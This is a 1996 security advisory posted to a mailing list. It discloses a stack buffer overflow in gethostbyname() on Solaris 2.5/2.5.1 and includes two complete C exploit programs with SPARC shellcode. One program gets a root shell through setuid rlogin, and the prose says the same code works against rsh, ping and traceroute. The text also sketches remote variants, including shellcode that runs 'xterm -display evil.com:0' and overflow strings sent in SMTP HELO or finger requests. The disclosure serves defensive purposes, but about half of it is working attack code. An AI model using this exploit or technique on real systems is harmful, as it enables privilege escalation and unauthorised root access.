Serious hole in Solaris 2.5[.1] gethostbyname() (exploit included)
Jeremy Elson (jelson@helix.nih.gov)
Mon, 18 Nov 1996 13:38:57 -0500
18 Nov 1996, 13:30 EST
Hello,
I have found what I believe is a very serious security hole in the
gethostbyname() function provided in the nsl library of Solaris 2.5 and
2.5.1. The hole allows local users to gain access to a root shell
(exploit program provided below). There is a good chance this exploit can
be modified to allow a remote attack, but such a method has not yet been
found.
gethostbyname() appears to have a buffer overrun problem. Calling
gethostbyname() on a Solaris 2.5 or 2.5.1 machine with an argument larger
than 8,251 characters causes a segmentation fault or bus error. This does
*not* seem to happen under Solaris 2.4; some change made to the NSL
library between 2.4 and 2.5 seems to have broken this.
The buffer overrun can be readily exploited by passing a string to
gethostbyname() that contains assembler code to execute a shell and
overwrites the stack's return pointer so the flow of control jumps to that
code when the function tries to return. (This technique was described in
detail in Phrack 49, and the exploit program below is based on their
writeup.)
The implications are somewhat alarming. Any program that accepts a
hostname from the user without imposing a restriction on the length of the
hostname, and resolves it using gethostbyname(), is potentially
exploitable. Any suid-root program fitting that description can be used
to gain root privileges. The exploit program I have provided uses
/usr/bin/rlogin, but the same code also gives a root shell if used in
conjunction with rsh, ping, or traceroute.
If a suitable daemon can be found, this same technique can probably also
be used as a remote exploit. The asm code in my exploit program simply
runs /bin/sh (BTW, I didn't write the shellcode myself; I copied it from a
similar program). If the code is changed to run something else (for
example, 'xterm -display evil.com:0'), and a daemon can be found that will
resolve hostnames without restricting their length, remote root access may
be possible. For example, any mail daemon might work (HELO <overflow_string>)
or the finger daemon (finger krusty@{overflow_string}@victim.com).
Note that all sites running a public traceroute or ping gateway under
Solaris 2.5 or 2.5.1 are also potentially vulnerable, and probably should
disable those services until a patch is available (or indefinitely).
Sun has been notified of this bug; they told me they are already aware of
it, but a patch is not yet available.
Finally, I am enclosing below two programs. The first (rlogin-exploit.c)
executes a root shell under Solaris 2.5[.1] by passing an appropriately
constructed string to /usr/bin/rlogin as its argument, which rlogin then
resolves using gethostbyname(). This program also works to exploit rsh,
ping, traceroute, etc.
The second (overflow-demo.c) is an almost identical program, except that
it directly calls gethostbyname() instead of using rlogin. The result is
a shell of the same UID as the calling program. The purpose of this
program is simply to demonstrate that the bug is part of the NSL library,
not rlogin.
Thank you to Jeremy Rauch (jed@cs.jhu.edu) for useful advice in working up
this bug.
Jeremy Elson
Division of Computer Research and Technology
National Institutes of Health
Bethesda, MD
Email: jeremy.elson@nih.gov
Phone: (301) 402-0349
-------------------- rlogin-exploit.c --------------------------------------
/*
* rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
* by exploiting the gethostbyname() overflow in rlogin.
*
* gcc -o rlogin-exploit rlogin-exploit.c
*
* Jeremy Elson, 18 Nov 1996
* jeremy.elson@nih.gov
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 8200
#define EXTRA 100
#define STACK_OFFSET 4000
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
perror("execl failed");
}
-------------------- overflow-demo.c --------------------------------------
/*
* overflow-demo.c: demonstrates the buffer overrun of gethostbyname()
* in Solaris 2.5/2.5.1. This should execute a subshell of the same userid
* as the calling program.
*
* gcc -o overflow-demo overflow-demo.c -lnsl
*
* Jeremy Elson, 18 Nov 1996
* jeremy.elson@nih.gov
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define BUF_LENGTH 8200
#define EXTRA 100
#define SPARC_NOP 0xa61cc013
#define STACK_OFFSET 4000
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
gethostbyname(buf);
}